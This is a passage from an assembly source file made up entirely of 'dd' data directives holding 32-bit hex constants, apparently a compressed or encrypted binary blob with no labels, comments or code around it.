0F4007FDEh, 13B2F628h, 306614A9h dd 602AE89Dh, 32037273h, 85FC15C8h, 610AC0F6h, 1E760314h dd 0F421FA12h, 0E05816D1h, 0C004277h, 0A771AE9Eh, 0B05259DCh dd 0F24C00D5h, 8B518968h, 7C00C53Ah, 45491926h, 1602546h dd 4CBAC38Ch, 0DCB49535h, 0F7F420F8h, 4301200h, 16344828h dd 1F722Ch, 93FC4978h, 9A2F58A0h, 0E50011Ch, 13C93840h dd 3D907F10h, 0C03E53EDh, 3B46F200h, 0C4972CEh, 1220E002h dd 0E00161C3h, 72BE1B3h, 53449FD0h, 86260E8h, 5AC07473h dd 0FA9DD29h, 0D5800714h, 0A0240BC9h, 4519127Bh, 5A588402h dd 0E046A00Dh, 23F1FDh, 76EB3B32h, 0C409FAEh, 101DC3ECh dd 7CC0C62Bh, 7B80287Dh, 75242789h, 0E400395Ch, 98BE742Ch dd 0E2F5980Dh, 0C7493h, 0C3401D16h, 0E00355A8h, 840F9E00h dd 0CE3285BCh, 1404000Ch, 18151048h, 0B975A775h, 7208F600h dd 277C432Dh, 28393A29h, 0BF1C4412h, 8A0EAA01h, 1EE4957Dh dd 0CB42004Ah, 1CAEA9F6h, 5E079849h, 8A215350h, 0D45BCFF0h dd 0A02A3969h, 4A61804h, 0B100EA42h, 0E790B0C3h, 0A51D0075h dd 74349119h, 3B002B85h, 47763196h, 0CB92Ch, 97AF2F1h dd 0F31CC624h, 8806BB1Dh, 7542AF00h, 0F9CEC937h, 83C6DAC3h dd 7ABD32A2h, 339000B6h, 681574C5h, 0C8480C2Bh, 76193C00h dd 8B0FC0FBh, 1DA6CE00h, 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h dd 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh, 810B00A6h, 0F73002B0h dd 71009735h, 88930839h, 2E03117h, 0EA1052Bh, 14409601h dd 0E11EA4A8h, 4AA6C44Eh, 75027600h, 24B82Fh, 0FA4CFD63h dd 930447B5h, 27F22000h, 21AF7819h, 1C080037h, 0E5365D8Ah dd 0C4005523h, 2D839040h, 6E9F18h, 8568A120h, 512C250Fh dd 8CE2A803h, 0C01015C4h, 1D08F9D7h, 0CFBFF4h, 0F7B0A16Eh dd 75078268h, 972CB815h, 9167AB30h, 96B438F3h, 3043D001h dd 0F4C54C16h, 6400EC7Eh dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h, 2CF0CC2h dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h, 0EB3FC618h dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h, 0B8010C6h dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h, 0E4CCA02Fh dd 0E0D3ECC1h, 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h dd 7836C026h, 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch dd 0A052431Ch, 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h dd 0A12C252h, 35030FC3h, 85E36798h, 0E8F980AFh, 0EB003AF9h dd 1C8B0104h, 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h dd 44073848h, 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h dd 5DD82046h, 0FDC64A00h, 13BC4F03h, 7406003Bh, 33D0FCF3h dd 5800C909h, 67E47BE8h, 98E28025h, 0DB2000D9h, 0F1844E1Bh dd 17039A7Eh, 9CEA6523h, 0CBBCC85Fh, 988E000Dh, 0B5FB0444h dd 96002B84h, 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h dd 2301FEE3h, 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah dd 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch dd 0BEE2418h, 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h dd 0F918588Fh, 0D952C023h, 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh dd 0FF15EE33h, 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh dd 0EB981307h, 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h dd 200758C4h, 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h dd 741CAF94h, 2089E8F8h, 0BE210B3Ch, 687702C4h, 0F70EC859h dd 0A8289300h, 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h dd 34C40790h, 0AE423C2Ch, 622025CFh, 5A193538h, 4A14AF7Ch dd 0BB6CF74h, 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h dd 7FAE037Ah, 0CCA24200h, 369D86EEh, 0C8C00B7h, 576AF8CDh dd 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h dd 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h dd 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h dd 8800A495h, 4178C646h, 91085B8h, 436DAC14h, 0A16A1787h dd 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h dd 11A7EEAh, 2B1864E5h, 30C3113Ch, 2330B9CFh, 0F4284214h dd 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h dd 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h dd 0EC1BF1A2h, 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh dd 0BA029482h, 279955E0h, 58C84200h, 601F5389h, 4FE91F3Ah dd 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h dd 14D60818h, 3E02D31Ah, 0E987ABF0h, 800F7BB1h, 94E21A11h dd 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h dd 750B0C8h, 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h dd 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h dd 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h dd 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h dd 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h, 0B3EF54B0h dd 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h dd 96004022h, 0F0C747D8h, 230148h, 0E676045h, 0CDAB894Ch dd 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h, 0E1F05800h dd 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h, 10E06480h dd 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h dd 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h, 3440702h dd 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h, 0E633F525h dd 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h dd 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h dd 0DD8192C4h, 7245618Ah, 95D5BE00h, 552DD3FEh, 0D9340019h dd 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh dd 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh dd 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h, 283CFCD8h dd 0DDE6D41Ch, 0E803C000h, 141BBD9h, 62C2BD7Ch, 20831D98h dd 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h dd 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh dd 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h dd 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh dd 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch, 0F101188h dd 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h, 234E9C24h dd 4BE2600h, 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h dd 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h, 87C62A01h dd 52F13547h, 34978C00h, 90CC8523h, 13040018h, 27A83046h dd 40077E58h, 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h dd 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h dd 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch dd 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h, 88506B90h dd 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch dd 38519D88h, 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h dd 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh, 4518E869h dd 58C4CB1h, 0CE0D8007h, 40BE408Eh, 0C050B372h, 43290069h dd 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h dd 30147681h, 608C04C0h, 120011F0h, 0AA984ED3h, 4CE9B640h dd 9600D7D2h, 97801DCFh, 0FB017204h, 290C0514h, 5DC0F28Bh dd 0D62F3010h, 9888A3E8h, 285138h, 42441453h, 0BB42302h dd 5729B7C4h, 0A1E66601h, 99E5F0D8h, 0BBB8B00h, 0C8982093h dd 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh, 95C05285h dd 721E1CDh, 1EB22FC2h, 82BA79h, 710D638h, 8478C337h, 43126CFCh dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h, 2BA09DC2h dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h dd 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h, 700E1000h dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h dd 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h, 1BCEFC5Ch dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h, 97000185h dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h, 9AD8C400h dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h, 0C40D544h dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h dd 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h dd 8D2A107h, 96044E00h, 9017A832h, 1F82EE10h, 82F7537Eh dd 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch dd 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh, 0D39100C2h dd 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h dd 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h dd 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh, 11A7B4EBh dd 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h dd 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh dd 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh dd 3F97F51h, 85D53A97h, 0CB8238Ch, 0C800EACAh, 4A1FE97Dh dd 1F4C37C7h, 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch dd 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh, 528CDF2Ah dd 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh, 7E2B3CCh dd 0DD6C1904h, 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h dd 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh dd 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h dd 230B280h, 71CB5CEh, 8D1A0640h, 59A08F88h, 46CD1834h dd 720C81Dh, 8D001913h, 1709403Ch, 0F2D73B43h, 0B7511081h dd 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch dd 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh, 8CC9D6h dd 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh dd 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h, 0A54AFFh dd 6DB69773h, 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h dd 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h, 0A4E218B8h dd 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h, 0D4D9F4D0h dd 0C374C00h, 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h dd 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h dd 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h dd 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h dd 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h, 7C8B020h dd 6214230Ch, 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h, 0A3C0FBECh dd 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h dd 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h, 0F234675Ch dd 4E0360h, 0CEA71FDBh, 85719C1Dh, 0BB8DE805h, 98063CCAh dd 3228025h, 776E2713h, 0A6C8E802h, 3300E90Ch, 0BE58C95Bh dd 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh, 0DB4AF1ACh dd 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh, 8233FDCh dd 0FBC8C42h, 78C21259h, 1C941F60h, 0A472A7FFh, 81086809h dd 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h dd 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h dd 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h dd 0A4A87D01h, 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h dd 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h dd 2EBCD007h, 0FED08F1Bh, 0B817F9h, 0B03DEB97h, 712F374Dh dd 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h dd 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h, 68485B8Ch dd 1DA500E1h, 0DECA881Eh, 7B910F4Fh, 24A0B609h, 298C47E9h dd 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h, 2C7920C4h dd 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch dd 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh dd 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h, 3CE8C23Eh dd 8006569Ch, 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h dd 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h dd 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h dd 22CFEEh, 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h dd 174B8F5h, 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h dd 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h, 6E75ACEBh dd 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h, 4B6EAD01h dd 6F4A4CCAh, 0FEE60B7Bh, 8301F580h, 38002DE2h, 11FF5AADh dd 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h, 0F5A1361Fh dd 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h, 0C200B9F6h dd 69AE1D84h, 0EA2FD27h, 0D101F0Ch, 0F8E37D40h, 2002577Fh dd 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h dd 142F43Fh, 0E95018C8h, 13208DAEh, 62F023h, 4216E427h dd 0AF1C843Ch, 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h dd 244C8900h, 0BCC2F408h, 70740127h, 4B5C7C3Dh, 1822E814h dd 571F5E00h, 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h dd 3F50E4F8h, 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h dd 4C592D2Eh, 1A24E033h, 0D20031B0h, 585067D1h, 901485E5h dd 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh dd 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch, 8025103Eh dd 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h, 0C6405662h dd 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h dd 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h dd 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh dd 4A089FABh, 89DCD243h, 0C72DDB72h, 0C4074B0h, 6EEB60ABh dd 0D9C2F030h, 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h dd 5C4D27D1h, 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h dd 0E85C136Dh, 4810358Ah, 0C3FC2B8h, 5BD183BAh, 0B51C57F4h dd 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h dd 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h, 3560B4DAh dd 2B059714h, 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh dd 1A052238h, 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh dd 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah dd 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h dd 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh dd 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h dd 0FCDD6510h, 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h dd 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h dd 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h dd 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh dd 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch dd 9C0C7CDh, 6D1FED19h, 0C2006A3Ah, 4034B81Eh, 8D130F0Dh dd 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh, 0FAED8F0Ah dd 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h dd 0CE2970FEh, 167CD085h dd 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh, 0F84FA1FEh dd 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h, 5108C1B7h dd 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h, 0A1FEAAE2h dd 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh, 0E7BA1E00h dd 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh, 0D9965E1h dd 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h, 521B102Ch dd 214F9E7Bh, 3C59F812h, 0FC8CE9E7h, 4008006h, 0FAE287F0h dd 0E2D0D6BAh, 0D38900E9h, 84B2A36Eh, 8F00F033h, 0BB31C413h dd 881438h, 0A58552C0h, 7C428CC5h, 7C6BF048h, 87E28024h dd 52F74400h, 922282Dh, 0F049B3A8h, 0E2B7B103h, 0C1A78CD0h dd 7B09C5B0h, 8F7E2Ah, 8834ACCDh, 5C85F665h, 14007990h dd 430DFCF1h, 0A21F9EBCh, 64C49C21h, 0E3C0040Ch, 0FC44173Fh dd 860904B6h, 806FD3E9h, 8F899906h, 1336F100h, 65E39327h dd 0EF0248FCh, 0FE7B5400h, 0C624D4A6h, 0D913F116h, 3837BD00h dd 0D4189h, 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch dd 0F5DD255h, 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h dd 0C72FD433h, 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h dd 0E4A8C200h, 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h dd 6FA0CE2Eh, 41A9F307h, 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh dd 80A15061h, 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh dd 5E34A787h, 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h dd 94D79F00h, 2B12D63Fh, 88A91DD2h, 0F44240B8h, 56080CC8h dd 0F172D307h, 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh dd 0B00C42Ch, 2EF49D04h, 0A43C30h, 0CE034C7Fh, 0C941062h dd 9F508800h, 12D71114h, 0F2570089h, 54521F1Dh, 3307E3A5h dd 190ACAA3h, 12504AE0h, 3A580991h, 0F802108h, 47E4A542h dd 97487E01h, 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h dd 849CBD1Ch, 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h dd 646D43Ch, 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh, 42CE4DB6h dd 3050CE6h, 1CDA0849h, 20D85B14h, 76002734h, 402D4258h dd 0C1F041h, 3905E624h, 5312EF97h, 0FB005DECh, 4945D733h dd 15C940Fh, 810834B0h, 0F025BFC6h, 24000901h, 28007F2h dd 1EE231h, 0D6D3E30Bh, 32A221E6h, 907C4A00h, 0B833F934h dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h, 28E7EDh dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah dd 1F764D5h, 9A531EE7h, 6011F121h, 6A0434A5h, 543AA074h dd 0A18E4BC1h, 42F3C8h, 1E0FE368h, 84F2E8B2h, 38FA3000h dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h, 4A8F0700h dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h, 23002C90h dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h, 48C86B44h dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h dd 48F7AC4h, 1DA032F1h, 1660C5E2h, 0ACCC431Dh, 81DE42CFh dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh, 7780BCAh dd 0F4870063h, 2C4ABAh, 886F883h, 0CA62C1D6h, 0FC957703h dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h dd 2EA5C208h, 10CCBE0h, 10C46B1Dh, 14C83F02h, 0AA34C0F5h dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h, 0BB7374E0h dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah, 840111DCh dd 0E4BAC766h, 1E90ECh, 0FF5014E3h, 0C1E0166Fh, 3205C000h dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h, 82960136h dd 7E908173h, 3B8ECE3h, 3C01AF98h, 0C6BFC241h, 7DC06BCh dd 9C70038h, 0CC5C105h, 1717E29h, 87C0CC3Bh, 0CD410D80h dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h, 11E0B80h dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h, 0DBC11B00h dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch dd 1DC4138h, 81D4C114h, 15C040D5h, 0C0D70001h, 41168017h dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h dd 13D04FDh, 2083C0FFh, 0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h, 0EBC829FDh dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh, 0ED0BC12Dh dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h dd 0AB701Ch, 81A9C169h, 687040A8h, 0B8027867h, 7900B947h dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h dd 403BB681h, 87720E76h, 80B340B2h, 81B10173h, 4170DC71h dd 5010B070h, 910090C1h, 93015140h, 528053C0h, 76927441h dd 1C567896h, 1971C57h, 8195C155h, 54CD4094h, 0C0019C01h dd 415D805Ch, 5FE49D70h, 819F07C1h, 615E409Eh, 0C89AE15Ah dd 5B60E09Bh, 59C099BEh, 41581F80h, 0DD88DF98h, 9F491D48h dd 0CE4B9889h, 8A1D818Bh, 4E874A40h, 